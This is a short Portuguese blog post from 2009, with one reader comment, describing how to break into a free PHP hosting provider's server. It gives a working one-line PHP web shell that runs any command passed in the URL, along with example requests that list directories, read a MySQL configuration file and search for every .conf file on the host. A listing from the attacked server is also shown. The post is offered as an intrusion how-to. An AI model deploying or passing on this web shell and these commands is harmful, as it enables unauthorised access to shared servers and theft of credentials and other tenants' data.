terça-feira, 19 de maio de 2009

Invadindo um host por PHP

Existem alguns sites que possuem uma falha de segurança grave capaz de autorizar acessos indevidos utilizando um arquivo PHP.

Abaixo mostra o resultado de um comando "ls -l" no servidor Linux de uma empresa de hospedagem está com a falha em sua segurança.
total 80
drwxr-xr-x 2 root root 4096 Sep 18 2007 bin
drwxr-xr-x 2 root root 6 Oct 12 2002 boot
drwxr-xr-x 6 root root 24576 Sep 18 2007 dev
drwxr-xr-x 62 root root 4096 Mar 3 15:39 etc
drwxr-xr-x 5 1004 vusers 37 Feb 21 17:33 home
drwxr-xr-x 5 root root 4096 Sep 18 2007 lib
drwxr-xr-x 2 root root 6 Oct 12 2002 mnt
drwxr-xr-x 2 root root 6 May 27 2000 proc
drwx------ 7 root root 4096 Oct 23 2008 root
drwxr-xr-x 2 root root 4096 Sep 18 2007 sbin
drwxrwxrwt 2 root root 277740 May 20 02:34 tmp
drwxr-xr-x 13 root root 140 Sep 26 2003 usr
drwxr-xr-x 13 root root 129 Sep 18 2007 var

Agora vou explicar como foi feito: Foi criado uma conta(gratuita) na empresa atacada(é uma empresa de hospedagem grátis com suporte a PHP) e depois foi hospedado nessa conta um arquivo chamado index.php com o seguinte conteúdo:

<?php @header("Content-type: text/plain"); $cmd = $_GET['cmd']; @passthru("$cmd")."<br>";?>

 
e para executar comandos dentro do servidor é só acessar o endereço que foi criado adicionando no final da url /?cmd= e o comando que será executado.

Obs: [SITE] = O Endereço URL que você adquiriu com a Conta criada na empresa de hospedgem grátis.

Exemplos:

para listar arquivos e pastas, use ls –l /
http://[SITE]/?cmd=ls%20-l%20/

para listar arquivos e pastas em uma pasta específica use ls –l /nomedapasta
http://[SITE]/?cmd=ls%20-l%20/etc

para ler o conteúdo de um arquivos usa-se cat nomedoarquivo
http://[SITE]/?cmd=cat%20/etc/mysql/my.cnf

para listar todos os arquivos de configurações que existem no computador host use find / -name “*.conf”
http://[SITE]/?cmd=find%20/%20-name%20"*.conf"

2 comentários:

  1. sim.

    mas essa falha também pode ser encontrada em sistemas windows, a diferença é que voê não usaria comandos linux(ls, find, etc...), você teria que usar comandos de windows (dir, cls, etc..)

    ResponderExcluir